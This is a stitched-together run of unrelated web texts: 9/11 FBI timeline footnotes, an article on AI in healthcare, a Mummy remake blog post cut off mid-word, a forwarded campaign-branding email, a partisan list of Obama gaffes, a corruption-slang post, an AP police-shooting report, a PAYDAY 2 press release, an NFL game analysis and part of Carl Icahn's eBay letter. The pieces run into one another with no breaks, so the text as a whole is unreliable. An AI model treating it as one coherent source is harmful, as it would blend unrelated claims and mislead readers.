[13] “Working Draft Chronology of Events for Hijackers and Associates”, FBI, November 14, 2003 (hereafter “FBI Hijackers Timeline”), p. 246. The complete FBI timeline is available for download online. See: “Newly Released FBI Timeline Reveals New Information about 9/11 Hijackers that Was Ignored by 9/11 Commission”, HistoryCommons.org, February 14, 2008 <http://www.historycommons.org/news.jsp?oid=140393703-423>.
[14] FBI Hijackers Timeline, p. 285.
[15] United States v. Zacarias Moussaoui, Prosecution Trial Exhibit NT00211, “Surveillance videotape from Dulles Airport West Security Checkpoint #1 on 9/11/01”.
[16] “9/11 Commission Records”, The National Archives <http://www.archives.gov/legislative/research/9-11/index.html> (accessed March 28, 2010). Many of the released records are available online at Scribd.com. See: “9/11 Document Archive”, Scribd.com <http://www.scribd.com/911DocumentArchive> (accessed March 28, 2010).
[17] “United 175 Manifest and Check in-Boarding re: Alshehhi and Alsheri”, Scribd.com, <http://www.scribd.com/doc/13950225/United-175-Manifest-and-Check-inBoarding-re-Alshehhi-and-Alsheri> (accessed March 28, 2010).
[18] “T7 B17 Flight 93 Manifest Fdr – Printout – Passenger Names”, Scribd.com <http://www.scribd.com/doc/13950221/T7-B17-Flight-93-Manifest-Fdr-Printout-Passenger-Names> (accessed March 28, 2010).
[19] “T7 B4 AAL Briefing – Dallas Fdr – AA 11 Passenger Name List 326”, Scribd.com <http://www.scribd.com/doc/16272517/T7-B4-AAL-Briefing-Dallas-Fdr-AA-11-Passenger-Name-List-326> (accessed March 29, 2010).
[20] “T7 B4 AAL Briefing – Dallas Fdr – AA 77 Passenger Name List 327”, Scribd.com <http://www.scribd.com/doc/16272519/T7-B4-AAL-Briefing-Dallas-Fdr-AA-77-Passenger-Name-List-327> (accessed March 29, 2010).There’s currently a shortage of over seven million physicians, nurses and other health workers worldwide, and the gap is widening. Doctors are stretched thin — especially in underserved areas — to respond to the growing needs of the population.
Meanwhile, training physicians and health workers is historically an arduous process that requires years of education and experience.
Fortunately, artificial intelligence can help the healthcare sector to overcome present and future challenges. Here’s how AI algorithms and software are improving the quality and availability of healthcare services.
AI health assistants
One of the most basic yet efficient use cases of artificial intelligence is to optimize the clinical process. Traditionally, when patients feel ill, they go to the doctor, who checks their vital signs, asks questions, and gives a prescription. Now, AI assistants can cover a large part of clinical and outpatient services, freeing up doctors’ time to attend to more critical cases.
Your.MD is an AI-powered mobile app that provides basic healthcare. The chatbot asks users about their symptoms and provides easy-to-understand information about their medical conditions. The platform has a vast network of information that links symptoms to causes.
The assistant uses natural language processing and generation to provide a rich and fluid experience, and machine learning algorithms to create a complex map of the user’s condition and provide a personalized experience.
Your.MD suggests steps and measures to remedy the illness, including warning users when they need to see a doctor.
UK’s National Health Service (NHS) has approved the information Your.MD provides. This means as opposed to self-diagnosis, users don’t have to worry about the authenticity and reliability of the guidance they get.
Other health assistants such as Ada integrate their technology with Amazon Alexa to improve the user experience. Ada becomes smarter as it gets familiar with the user’s medical history. Aside from generating a detailed symptom assessment report, Ada also provides the option to contact a real doctor.
Babylon Health, another intelligent health companion, complements its assistance by following up with users on past symptoms, and in case the need arises, setting up live video consultation with a general practitioner.
Health assistants save patients a trip to the doctor for more trivial diseases. Also, in areas where doctors and clinics are in short supply, it can save patients hours of waiting in line.
Early and precise diagnosis
The treatment and prevention of rare and dangerous diseases often depends on detecting the symptoms at the right time. In many cases, early diagnosis can result in complete cure. Conversely, a late or wrong diagnosis can have damaging or potentially fatal results. Human skills and experience are limited and hard-to-earn when it comes to examining images and samples and making reliable decisions.
AI algorithms can quickly ingest millions of samples in short order and glean useful patterns. And unlike humans, they don’t lose their edge when they grow old. Several institutions and firms are investing on this scheme in developing healthcare solutions.
Researchers at Stanford University have created an AI algorithm that can identify skin cancer. They trained their deep learning algorithm with 130,000 images of moles, rashes, and lesions. According to results its efficiency in diagnosing skin cancer rivals that of professional doctors. The researchers hope to make it available through a mobile app some time in the future. This can be an opportunity to provide inexpensive screening to anyone with smartphone.
DeepMind, a Google-owned AI company, is using machine learning to fight blindness in cooperation with NHS. Researchers at the firm are training a deep learning algorithm with a million anonymous eye scans. This will help spot eye conditions such as wet age-related macular degeneration and diabetic retinopathy at early stages. According to the experts, in some cases, they might eventually be able to prevent 98 percent of most severe visual loss.
Morpheo is an AI platform that helps in the diagnosis of sleep disorders. The traditional process of analyzing sleep patterns is complicated and time consuming. With the help of machine learning algorithms, Morpheo is assisting doctors by automating the identification of sleep patterns. The creators believe this will help in creating predictive and preventive treatments.
Dynamic care
For some diseases, identifying the right treatment path and adapting it to changes overcoming patient health is critical and challenging.
IBM is having its own foray at fighting cancer with AI, and its Watson for Oncology platform is getting ready for production. The platform will be used in a Florida community hospital to help treat cancer patients. Watson is especially adept at analyzing both structured and unstructured data.
It ingests reams of clinical trial data and medical journal entries, then finds patterns and presents cancer care teams with a list of effective therapies and treatment options.
Experts at University of North Carolina School of Medicine tested Watson with one thousand cancer cases. The platform gave the same recommendations as professional oncologists in 99 percent of the cases.
This can prove crucial to smaller hospitals and medical centers that are lacking in human expertise and technical resources.
Other firms are using artificial intelligence to take small yet crucial steps in the treatment of illnesses. One example is AiCure, a mobile app that uses AI and image analysis to control patient adherence to prescriptions. This includes making sure patients take their medication on time and perform other tasks ordained by their doctor. This can be useful for people with serious medical conditions and patients who might go against their doctor’s prescriptions.
What lies ahead
Artificial intelligence has challenges to overcome before it gains full traction in many fields. And healthcare is no exception, especially where privacy is concerned. Last year, DeepMind ran afoul of UK authorities and privacy groups over its data sharing deal with the NHS. Medical information is sensitive, and institutions that handle it need to mind their collection, storage and sharing policies.
Some firms are considering blockchain, the distributed ledger that supports Bitcoin and Ethereum, as a solution. Morpheo, for instance, uses blockchain to ensure transparency and privacy of patient data on its platform.
Another open-ended question is how artificial intelligence will affect jobs in the healthcare sector. At the current stage, it’s a given that caring for humans is the job of humans. For the moment, no algorithm is able to emulate both the social and professional functions of a doctor or nurse. In fact, robots are not replacing but enhancing human efforts to improve the overall quality and availability of health services.
Will the suggestion-making role of AI-based healthcare tools someday turn into decision-making? Only time can tell. But recent developments in artificial intelligence show that machines still have quite a few surprises up their sleeves.
Read next: Apple reportedly has secret team working on Apple Watch tech for diabetesListen, I won’t pretend to know whether I’m supposed to be excited about the new Universal Studios monster movies or not. Like most of you, I do get a little bit of a headache every time a studio boss utters the words “shared universe,” but no matter how much cynicism I try and muster for the new remake of The Mummy, I just can’t. It has Tom Cruise! Running around London! Fighting a gosh-darn mummy! Yeah, that’s right, I’m an easy mark.
So count me among those unequivocally excited by the huge crop of set photos that just popped up over at Coming Soon. While you can view the gallery in its entirety at Coming Soon, here are a few of the photos that have been making the rounds on social media.
The newest photos feature Sofia Boutella as the mummy queen, casting some sort of black magic on the streets of London as people scatter in the background behind her (is that part of a mummy’s traditional powers? I can’t even remember). Coming Soon also has some older photos showing Tom Cruise as the ex-soldier brought in to help fight the supernatural power facing the city. While both the new and old photos suggest an epic scale that might disappoint some horror purists, Boutella and Cruise seem in great form, and it’s been a long, long time since the latter made an action movie that disappointed. Count me in.
We shared this back in May, but just in case you need a refresher, here’s the official synopsis for The Mummy :
Tom Cruise headlines a spectacular, all-new cinematic version of the legend that has fascinated cultures all over the world since the dawn of civilization: The Mummy. Thought safely entom |
we meeting her Sunday am? On Dec 12, 2014 6:20 AM, "Cheryl Mills" <[email protected]> wrote: > John > > Below were Wendy's thoughts on the polling list memo Robby prepared. > > In particularly in asking her how she would do branding, I asked if she > could ride any polling that was done by team - she asked the nature of that > polling before she could opine and I shared his polling list memo ($2.1M) > one. > > cdm > > Begin forwarded message: > > *From:* Wendy Clark <[email protected]> > *Date:* December 9, 2014 at 11:53:21 AM EST > *To:* Cheryl Mills <[email protected]> > *Subject:* *Email 1 of 2* > > Cheryl, > > I wanted to give you immediate reaction to the polling and research > materials you sent yesterday. > > --------- > > At a high-level, I believe the plan that Robby has outlined is robust and > appropriate to an ongoing polling approach. Additionally, I believe it can > have utility from a brand positioning and tracking perspective. I see the > quantitative polling piece as an ongoing tracker that will allow us to > understand results on key imagery metrics that will inform ongoing work. > > That said, there are particular aspects I have questions around. > > 1. While I believe in the mix of online and telephone surveying, I > question how representative the home phone population are to our necessary > target reach. Additionally, we should think hard about polling calls to > mobile phones, not sure how socially acceptable that is. As a point of > reference, Coke's continuous tracking survey fielded 365 days a year is all > handled online. As a point of input I have asked a friend at AT&T for home > phone penetration and attrition numbers so we can better consider. > > 2. I think the ongoing online discussion boards are a great idea. I have > this in place and use it often with a firm called Communispace -- I had > mentioned this when we spoke. I'd be interested in understanding the > recommended firm for this and having a dialog around the methodology. > > 3. For the qualitative groups, I would really like to engage/lead these, > the methodology, the desired outcomes, the firm that would lead, etc. These > will be material to brand positioning and there's a great opportunity to > not duplicate efforts. > > 4. I'd also seek involvement in the engagement of an analytics firm. The > materials indicate Blue Labs. I'm familiar with Bluefin Labs which is an > exceptional analytics firm. Not sure if this is the same. More broadly, > among our analytics deliverables we should be able to tie the movement in > key attributes/imagery to likelihood to vote. This is a key need of the > analytics model which can then be tracked continuously through the polling. > > 5. I recognize that sub groupings will follow this initial push out. That > said, understanding multicultural voters -- unacculturated, acculturated > and bi-cultural Hispanics, African Americans and multicultural Millennials > as a starting point -- will be important. Also other clusters are certain > to materialize -- women/Moms, community activists, youth/millennial, etc. > We will want this understanding post exploratory to truly inform > actions/content once a campaign is underway. > > 6. The media consultant at GMMB appears to be an earned media expert (vs > paid). Would want to confirm this. I am familiar with GMMB with my work > with the American Beverage Association, they've done a good job there. On > paid media I would want to leverage a general market media firm. > > 7. On the handful of mentions RE branding and design (website, etc) I > agree with the input -- eg branding's role. That said we'll want to lift > the role of branding to overarch all decisions and outputs under the > moniker of Everything Communicates. So being on-brand will be critical and > a starting point for everything we do and execute. > > 8. On the production of any materials logo/mark, exploratory or > announcement videos, website development and all associated content, I > would want to lead these aspects. I believe the exploratory materials will > be judged as the equivalent of announcement materials. They must set the > tone, create momentum, be shareworthy... I could keep going. They're really > important. $45k for videos is a bit tight in my mind, but again, we can be > creative on this. > > 9. A final thought on research and measurement. As a basis we need to be > asking all of these questions against "the ideal leader" and then in > reference to our candidate. The qualitative learning on the ideal candidate > and our candidate starting point informs the ongoing imagery that the > polling would track which informs our messaging and content adjustments in > realtime. > > 10. Ok, I lied, now a real final thought. One area of exploratory research > we need is to understand the role and importance of a movement. Change was > a movement and BO became the leader of that movement. On our discovery we > need to probe for this in terms of what the ideal candidate represents and > the learnings around voters mood, desires, actions wanted, etc. and then > spend time thinking about the packaging of the position and whether it > can/should be a movement. Movements are important and welcomed by > Millennials particularly. There is something for us to truly understand and > potentially leverage in a big way, IF the data supports. This also helps to > deflect the negativity toward her versus the movement. It's an interesting > strategy but again has to be authentically true of her/her agenda. > > I really look forward to engaging directly with Robby. I believe we are > complementary in talent set and can create a win/win approach (and outcome) > together. I like/support his thinking in these documents. > > I owe you email 2 on the communication/cadence for me here that I know > will inform the timing of my meeting with Robby. > > Working on that shortly. > > Thanks. Wendy > > > > >Top 10 Lists
The Left had a grand old time with President George W. Bush’s mangling of the English language, and let Sarah Palin or Michele Bachmann make a slip of the tongue and the mainstream media will turn it into a major news story. Not so with President Obama’s verbal missteps. Here, to bring balance to the ridicule, are the Top 10 Obama Gaffes:
1. How many states? Vice President Dan Quayle was virtually laughed out of Washington for misspelling potato back in 1992, yet Barack Obama made a more elementary flub when, during the 2008 campaign, he said: “I’ve now been in 57 states-I think one left to go.”
2. Hero soldier mix-up: While commending troops at Fort Drum, N.Y., for their completed deployments in Iraq and Afghanistan, President Obama said, “A comrade of yours, Jared Monti, was the first person who I was able to award the Medal of Honor to who actually came back and wasn’t receiving it posthumously.” Wrong hero. Sgt. 1st Class Jared Monti was killed in action, another soldier, Staff Sgt. Sal Giunta, was the first living recipient of the Medal of Honor that fought in Afghanistan.
3. What year is it? During a trip to London’s Westminster Abbey, President Obama signed the guest book and dated it 24 May 2008. Oops. It was 2011. (Maybe he was wistfully dreaming about his 2008 election campaign at the time.)
4. Look at the map: Not only does Obama not know how many states there are, he also doesn’t know where they are. During the 2008 primary campaign, he explained why he was trailing Hillary Clinton in Kentucky: “Sen. Clinton, I think, is much better known, coming from a nearby state of Arkansas. So it’s not surprising that she would have an advantage in some of those states in the middle.” Obama’s home state of Illinois, and not Arkansas, shares a border with Kentucky.
5. What language is that? In April 2009, on one of his many foreign trips, President Obama mused, “I don’t know what the term is in Austrian” for “wheeling and dealing.” Oops, Mr. President. There is no Austrian language.
6. Twister casualties: After a devastating tornado hit Kansas, Obama discussed the tragedy without help from a teleprompter, saying, ”In case you missed it, this week, there was a tragedy in Kansas. Ten thousand people died-an entire town destroyed.” He was only off by 9,988 as the twister killed 12 people.
7. How old is Malia? The President last month thought he was so clever, unfavorably comparing Republican procrastination on the debt limit to his daughters finishing their homework early. In his remarks, Obama made a reference to daughter Malia, saying she was 13 years old, when at the time she was 12. Imagine the press reaction if Michele Bachmann made a misstatement about any of her five children or 23 foster kids.
8. Special Olympics insensitivity: The President called and apologized to the head of the Special Olympics, after making this insensitive comment following a game of bowling: “No, no. I have been practicing. … I bowled a 129. It’s like-it was like Special Olympics, or something.” Maybe he should have also apologized to bowlers for his feeble effort.
9. Faith confusion: No wonder so many Americans are unsure of the President’s faith, as he seems to be confused himself. During the 2008 campaign, during an interview with ABC’s George Stephanopoulos, Obama said, “What I was suggesting-you’re absolutely right that John McCain has not talked about my Muslim faith,” before Stephanopoulos jumped in to help, saying ”your Christian faith.”
10. Health care inefficiencies: During the health care debate, President Obama explained all the benefits of ObamaCare, saying, “The reforms we seek would bring greater competition, choice, savings and inefficiencies to our health care system.” Mr. President, we already have enough inefficiency in health care and, yes, your “reforms” will only make it worse.We will publish the 2012 Corruption Perceptions Index next Wednesday 5 December. Behind the scores are many different kinds of public sector corruption, all with their own impact on daily life. Our evidence is language. Every language has its own particular expression for abuse of power. Here are a few.
In English, we refer to a “brown envelope” a little old fashioned in a world of wire transfers and subsidiaries in offshore secrecy jurisdictions. Greek uses the word fakelaki, the “small envelope”, which on average holds more than a little money (€1406 on average).
Writing about bribery in French is always a challenge since you cannot “bribe” as a verb. You have to pour a cup of wine, verser un pot de vin. The Russian word for bribe is “vzyatka” derived from the verb, “to take”. In English, meanwhile, we have graft, embezzlement, collusion, sleaze, etc. Explore the subtleties in our guide to corruption language, and expand the corruption lexicon in the comment area at the end of the page.
A few years ago Transparency International ran an advert with various words for bribe, and the Economist wrote about it too, noting how using these words attempts to avoid calling corruption what it is: a crime
The Economist wrote:
originally a Persian word meaning a tip, gift or donation. It still retains that ambiguous meaning: you’re as likely to be asked for baksheesh by a small boy who pointed you in the direction of the Al-Azhar mosque in Cairo as by a dodgy policeman. When it’s the latter, the ambiguity softens the illicit nature of the request.
In other words, they are euphemisms, an attempt to avoid the criminal implications of the act they denote. As long as the expressions are common, it means that people have accepted their very existence of the phenomenon and we have failed to tackle them.
While the words have been collected before, looking at which acts of corruption have popular slang terms reflects the biggest problems people face. In some countries petty bribery, in others, more subtle abuse of power, which the Corruption Perceptions Index also tries to measure.
Golden parachutes in Japan
A 2006 Transparency International report on Japan highlighted expressions used for worrying trends:
“kansei-dango” or bureaucrat-led bid rigging. According to the report, it is a “way of life” in Japanese business that is “rampant throughout the country”;
Amakudari, or “golden parachute” where senior officials approach semi-government and private corporations two to three times or more after they first retire for post-retirement employment at much higher remuneration; each time, they receive high lump-sum retirement allowances, sometimes even higher than that of the prime minister.
The report warned that “by nature amakudari is tantamount to bribery with promises of reemployment in return for favourable treatment of their corporation.” Japan, of course, is not the only country where the “revolving door” phenomenon has been noted.
India
In a country where one person in two pays bribes in their daily life, there are more than a few commonly used phrases in both hindi and urdu for asking for a bribe: Chai-Nashta (“tea and snacks”), Kharcha Paani (“commission”, or literally, “money to spend for water and food”) and Suvidha Shulk (a “convenience fee”).
China
A recent New Yorker article gives us some new phrases from China: Touliang huanzhu – robbing the beams to put in the pillars. And Maiguan, a new word in Chinese dictionary meaning: To buy a government promotion. Very significant that new words are emerging as a rapidly-changing China battles corruption. We can add this to “guanxi,” or connections, using the art of relationships.
Now we need your help for other languages. Italian? Spanish? Russian? Hindi? Urdu? Thai? Lusophone countries?
Please share your corruption slang, and the stories behind them.Associated Press
ALBUQUERQUE, N.M. — Police have released video showing what happened when an Albuquerque police officer accidentally shot a man during a burglary investigation.
The video from a lapel camera shows an officer climbing through a broken window of a second-floor apartment Sunday when a gunshot is heard. The officer then tells a superior he fell after his leg got caught on the window sill and the gun went off.
Related article Man accidentally shot with NM cop's stray bullet
"I came in and this leg got caught up here, and because we clear houses my gun was right here and I fell down," the officer is heard saying.
The video then shows a man on the first floor with a gunshot wound in his back near his neck. Blood pours down his bare back as he tries to rest on a couch.
"I have one male in the apartment, the one below... and it looks like he's got blood to the neck. I can't see what it's from," another officer is heard saying.
"He's got blood? Oh my God," the officer who fired says.
Albuquerque police spokesman Tannier Tixier said Officer Tamas Nadas fired the shot. He's been placed on administrative leave.
Police said the injured man is expected to survive.
The shooting comes after city officials recently signed an agreement with the U.S. Justice Department to overhaul the use of force by police.
Copyright 2014 The Associated PressStarbreeze AB, one of Sweden’s leading independent game developers, together with 505 Games today announced that PAYDAY 2: Crimewave Edition will be released for Xbox One and PlayStation 4 with more than 12 months of updates included in the box. To be released in June, the Crimewave Edition will be offered to gamers everywhere with a bang; consumers pre-ordering the product will not only unlock the special Hard Time Loot Bag digital content, but will also have the opportunity to score a time limited discount on the purchase.
To celebrate the start of the pre-order campaign, PAYDAY 2: Crimewave Edition will exclusively be available at a 25% discount on PlayStation Network and Xbox Live for the duration of the pre-order period.
“The continuance of the PAYDAY-saga on Xbox One and PlayStation 4 is going to be awesome. With improved frame rate, greater looking textures, 1080p resolution and more than a year worth of updates included in the game at launch, robbing banks together has never looked as sweet.” Said Bo Andersson Klint, CEO of Starbreeze AB. “Getting PAYDAY into the hands of as many gamers as possible has always been one of our mantras. Hopefully our initial offer will make it easier than ever for new and old heisters alike to enjoy PAYDAY 2 ”.
[icon color=”Extra-Color-1″ size=”tiny” image=”fa-file-text-o”] Download the pressrelease: 2015-02-26 Starbreeze AB introduces the complete crimewave edition
[icon color=”Extra-Color-1″ size=”tiny” image=”fa-picture-o”] Download artwork: PAYDAY 2 Crimewave Edition Key Art
PAYDAY 2: Crimewave Edition includes:
The original PAYDAY 2 experience, now in glorious 1080p and refined to look its best.
Updates and DLCs worth over $80 in recommended retail value, including the fan favorite The Big Bank DLC, the first female heister Clover as well as the recently released The Bomb DLCs. In total: Armored Transport Gage Weapon Pack #1 Gage Weapon Pack #2 Gage Mod Courier Pack Gage Sniper Pack The Big Bank Heist Gage Shotgun Pack Gage Assault Pack Hotline Miami Gage Historical Pack The Diamond Heist Clover Character Pack The Bomb Heists Dragan Character Pack The Death Wish Update The Election Day Heist The Shadow Raid Heist John Wick Character Pack The Hoxton Breakout Heist Old Hoxton Character Pack The Infamy Update The Diamond Store Heist The White Xmas Heist The PAYDAY 2 Soundtrack to play in game.
The pre-order bonus “Hard Time Loot Bag” contains a number of unique digital items including:
Red dot weapon sight modification available for use on all rifle weapons
Exclusive Skull mask
PlayStation 4 or Xbox One exclusive mask
Unique mask pattern titled “I LOVE OVERKILL”
Unique color pattern, only available with this unlock
Bundle of in-game cash
For more information please contact:
Bo Andersson Klint, CEO, Starbreeze AB
Tel: +46(0)8-209 208, Investors email: [email protected], press and product inquiries: [email protected]
Brief information about Starbreeze:
Starbreeze is an independent creator, publisher and distributor of high quality entertainment products, headquartered in Stockholm, Sweden. At Starbreeze we create games by our own design and through licensed content, establishing franchises that can live and prosper outside the game itself. We live and die by gameplay.
Starbreeze is pioneering digital self-publishing, currently hosting one of the largest community groups on the digital distribution platform Steam. Starbreeze’s most recent products include PAYDAY 2, our adrenaline fuelled bank robbing co-op game and the critically acclaimed Brothers – A Tale of Two Sons.
Starbreeze AB is publicly traded on Nasdaq Stockholm First North Premier under the ticker STAR and the ISIN code: SE0005992831. Remium Nordic is the company Certified Adviser. Starbreeze brands include OVERKILL Software and the PAYDAY series.
For more information, please visit http://www.test.starbreeze.com.
About 505 Games
505 Games is a global video game publisher focused on offering a broad selection of titles for players of all ages and levels. The company publishes games on leading console and handheld platforms as well as for mobile devices and social networks. Product highlights include, Sniper Elite 3, PAYDAY 2, Brothers – A Tale of Two Sons, Terraria, How To Survive, Defense Grid 2, and the upcoming ABZU and Adr1ft.
505 Games has offices in Los Angeles, Milton Keynes, UK, Lyon, Munich, Milan and Madrid and a network of distribution partners within the Nordic territories and Australia. For more information on 505 Games and its products please visit www.505games.com.As it turns out, slowing down the most-hyped offense in the NFL is actually pretty easy. Just take the two best defensive players in football through two and a half weeks, let them wreak havoc, and never give that offense the ball back. This football stuff is easy! The Chiefs didn’t reveal a blueprint for stopping Michael Vick and beating the Eagles 26-16 last night, because other teams can’t replicate what the Chiefs can do defensively. And the Chiefs are a scary team that nobody is going to want to play all season for that same reason.
All of which is to say this: Give them a break, Justin Houston! If you hadn’t been acquainted with the Chiefs pass-rusher before Thursday night, well, now you know. Houston doesn’t play for the Texans, but he filled up the stat sheet with a J.J. Wattesque performance, officially finishing with 4.5 sacks, three passes defensed, a forced fumble, and two fumbles recovered. Houston now has 7.5 sacks in his first three games, a figure nobody has matched or surpassed in 29 years. Only the Jets’ Mark Gastineau (eight) had more sacks in the first three games of a season (1984) than Houston has. Gastineau finished that year with 22 quarterback takedowns. That leaves Houston a target to hit.
We commonly think of Houston’s partner in crime on the Kansas City defense as Tamba Hali, his fellow outside linebacker and a great pass-rusher in his own right, but the other player who is off to a brilliant start this season is nose tackle Dontari Poe. Poe had a quiet day on the stat sheet after two mammoth games against the Jaguars and Cowboys, but he was meaningful against the Eagles by virtue of occupying the attention of their blockers up front. The Eagles were so terrified of Poe that they often had their tackles, Jason Peters and Lane Johnson, go one-on-one against Hali and Houston on the outside. That didn’t go so well.
In a way, what made that stuff work up front is what the Chiefs were doing behind their front seven. Kansas City has one of the most talented secondaries in the league, with a true no. 1 cornerback (Brandon Flowers) and a wildly skilled safety (Eric Berry) finally getting his confidence back after a torn ACL two years ago. It also added Sean Smith from the Dolphins this offseason, which was an incredibly underrated move that came at a bargain-basement rate for such a young player. That threesome allows the Chiefs to be very aggressive schematically; on Thursday night, they manned up right on the line of scrimmage against Philadelphia’s wideouts with a single high safety in Cover 1 and dared the Eagles to beat them downfield before their pass rush got home. The Chiefs used Berry and rangy inside linebacker Derrick Johnson to take away the quick pop passes and stick routes with tight ends that created easy reads for Vick. With the help that was left over, they shaded players to DeSean Jackson and made things very simple: For the Eagles to win, Riley Cooper and Jason Avant were going to have to beat single coverage. They didn’t.
The Chiefs might not have needed help to execute that game plan, but they certainly got some. Vick missed badly on a number of throws, including two interceptions on passes he definitely wants back. We saw a bit of the old Michael Vick tonight, both good and bad — Vick ran for 95 yards, but he also struggled to make it through his progressions and get the ball out to open receivers on time (in part because he likely feared the oncoming trains wearing red jerseys). The Eagles also gave the ball to the Chiefs with an early muffed punt and failed to recover three of their four fumbles on the day, including one early drive that was ended by a bizarre moment when Eagles center Jason Kelce thought Vick was under center as opposed to in the shotgun and snapped the ball to a poltergeist. It was a brutal show.
Alex Smith helped things along by holding on to the ball for two-thirds of the game. The Chiefs were in possession of the football for 39:07, and while time of possession is often an overrated statistic, it was part of the Kansas City game plan here. Smith, famously averse to turnovers and dangerous throws, made only one bad pass, a screen that was read by Connor Barwin and nearly taken to the house for a touchdown. The Eagles were able to create pressure on the outside, where Chiefs tackles Branden Albert and Eric Fisher had bad nights, but Philadelphia couldn’t get Smith off the field when it counted.
The key drive of the night came in the fourth quarter, when the Chiefs took over on their own 5-yard line after an Eagles touchdown and a muffed kickoff. With Philadelphia holding all the momentum and the Linc sensing a possible comeback victory over its old head coach, the Chiefs calmly put the game out of reach with an eight-minute, 15-second drive that moved the ball 73 yards downfield before settling for a 38-yard field goal from Ryan Succop that put them up 10 points with 3:24 to go. The most important play of the drive was on its opening third-and-10, when Smith threw out of the shadows of his own end zone to Donnie Avery, with much-maligned safety Nate Allen unable to close on Avery before the journeyman moved the sticks. Avery was unstoppable on third down Thursday; he converted a third-and-15, a third-and-19, a third-and-5 (for 51 yards), and that essential third-and-10, also adding a second-and-14 conversion. He caught all seven targets for 141 yards, which was pretty important considering that Dwayne Bowe had one catch for four yards. It was Avery’s best game as a pro.
And, of course, it all comes back to the Eagles’ offense. I mentioned earlier that the Chiefs didn’t have an actionable blueprint for stopping Philly, and the truth is that they don’t. In fact, while Vick struggled to throw the football, Philadelphia had another excellent day running the football, with the combination of Vick and LeSean McCoy producing a whopping 253 rushing yards on 25 carries. The Eagles actually outgained the Chiefs and averaged 6.8 yards per play, with virtually none of that yardage coming in garbage time. Nobody in the league averaged more than 6.2 yards per play last year. Philly was inconsistent, it made mistakes, and it’s probably stuck with a quarterback who will miss throws and a wideout who makes for a pale imitation of Jeremy Maclin, but those are personnel issues, not schematic ones.
The other problem in repeatedly judging and rejudging the Chip Kelly offense as pro-viable is that we’re working with a small sample size. Pretend, for a second, that Jim Harbaugh was just coming into the NFL this year and was running the same offensive scheme he’s been running in San Francisco since Colin Kaepernick took over, without having run it in the pros before. After that blowout loss to the Seahawks last week, there would have been dozens of columns hitting newspapers and websites talking about how the Pistol is a joke offense that won’t work in the NFL, and how a real physical professional defense can beat it up and expose its flaws. Because we’ve seen more evidence of Harbaugh’s scheme working, we know it was just a game against a great defense and a blip, not a fatal flaw that’s going to be exploited by every team from week to week.
And that’s the truth with any really physical defense against any offensive scheme; a really good defense can beat up and slow down a great offense because that’s what defenses do. It’s the same reason why Alabama can adapt to whatever they see from great offensive minds and compete; it’s got the coaching and the athletes to win one-on-one battles across the field and eliminate schematic advantages. Since there are not many teams that have the athletes and the coaching of Alabama, it’s not like SMU can follow Alabama’s blueprint to beating Texas A&M when it heads to College Station this weekend. Likewise, while other NFL teams will watch the tape and dream about beating the Philadelphia tackles on 15 snaps and locking down the endless screens and streaks that Philly runs with its two corners, very few teams will actually be able to execute that game plan on Sundays. That the Chiefs can (and will) makes them one of the league’s most dangerous defenses.Billionaire activist investor Carl Icahn just released a new open shareholder letter regarding eBay.
Icahn, a major shareholder in eBay, slams the company for its corporate governance.
"We have found ourselves in many troubling situations over the years, but the complete disregard for accountability at eBay is the most blatant we have ever seen," Icahn writes.
He writes that the CEO John Donahoe "seems to be completely asleep or, even worse, either naive or willfully blind."
He also calls out board members Marc Andreeseen and Scott Cook.
Icahn took a stake in eBay back in January. The company said in its fourth quarter earnings announcement that he held a 0.82% stake. He's been demanding that eBay spinoff PayPal into a separate company.
Here's the proposal:
We believe creating two dedicated and highly focused independent businesses would provide employees and stockholders the best opportunity to remain competitive over the long term. We believe that the separation of the traditional eBay and PayPal businesses will: (1) highlight the significant value of the disparate businesses currently shrouded by a conglomerate discount the market has afforded eBay; (2) focus and empower independent management teams to most effectively build two very different business platforms, make economic decisions independent of each other and, most importantly, foster innovation; and (3) provide an even more valuable currency for future bolt-on acquisition opportunities and for recruiting the top talent necessary for PayPal to remain the market leader in payment technology.
Here's the full open shareholder letter:
---------------------------------
Dear Fellow eBay Stockholders,
We have recently accumulated a significant position in eBay’s common stock because we believe there is great long-term value in the business. However, after diligently researching this company we have discovered multiple lapses in corporate governance. These include certain material conflicts of interest, which we believe could put the future of our company in peril. We have found ourselves in many troubling situations over the years, but the complete disregard for accountability at eBay is the most blatant we have ever seen. Indeed, for the first time in our long history, we have encountered a situation where we believewe should not even have to run a proxy fight to change the board composition. Rather, we believe that in any sane business environment these directors would simply resign immediately from the eBay Board, either out of pure decency or sheer embarrassment at the public exposure of the extent of their self-serving activities.
How is it possible for the current board to engage in any meaningful discussions about long-term stockholder value while: (1) at least two board members are directly competing with eBay, (2) one board member is demanding eBay cease hiring the most talented employees, (3) another board member is routinely funding competitors while buying companies from eBay and reaping significant personal riches, (4) at least two board members appear to have put their own financial gain in ongoing conflict with their fiduciary responsibilities to stockholders and (5) the CEO seems to be completely asleep or, even worse, either naive or willfully blind to these grave lapses of accountability and stockholder value destruction?
The Board’s Transgressions and CEO Mr. John Donahoe’s Ineptitude in Addressing Them
Mr. Marc Andreessen – Independent Director
Since Mr. Andreessen has been an eBay insider, he has engaged in several transactions that lead us to question his loyalty to eBay. During Mr. Andreessen’s time on the eBay Board he has purchased large stakes in two former eBay subsidiaries, reaping significant personal riches. In September 2009, an investor group that included Mr. Andreessen, preempted a planned Skype IPO (in which stockholders would have ended up making multiple billions of dollars) and bought 70% of Skype for less than what eBay had paid to acquire it(1). Mr. Andreessen basked in the purchase, saying that “Skype is the archetypal phenomenon: a breakthrough technology”(2). His partner was even more excited, stating that “Skype is on its way to becoming one of the most important companies in the world”(2). One cannot help but wonder what happened to Mr. Andreessen’s fiduciary responsibility to share his feelings with Mr. Donahoe and the board rather than preempt the planned IPO to further his own interests. A mere 18 months later, Mr. Andreessen’s investor group flipped Skype to Microsoft for $8.5 billion, a value three times what they paid for it(3), netting approximately $4 billion(3) at the expense of eBay stockholders. After the sale to Microsoft, Mr. Andreessen, a sitting eBay Board member and fiduciary to stockholders, stated: “one reason we were enthusiastic about buying Skype was that even though we thought it would be a tremendous standalone business, we also knew that for Microsoft and a number of other companies Skype would be an obvious thing to buy. We knew we’dalways have the fall-back of selling to strategic buyers”(4). Did Mr. Andreessen share this strong view with Mr. Donahoe? Was Mr. Donahoe completely asleep, or even worse, so naive and deferential to his “world-class board”(5) that he allowed a sitting board member and several private equity firms to walk away with over $4 billion in what was essentially stockholder’s money after a sale to a strategic that he obviously should have orchestrated himself? Many others have been vocally critical of the Skype transaction(2,6), but, until now, none have taken on the task of standing up to Mr. Donahoe and this board.
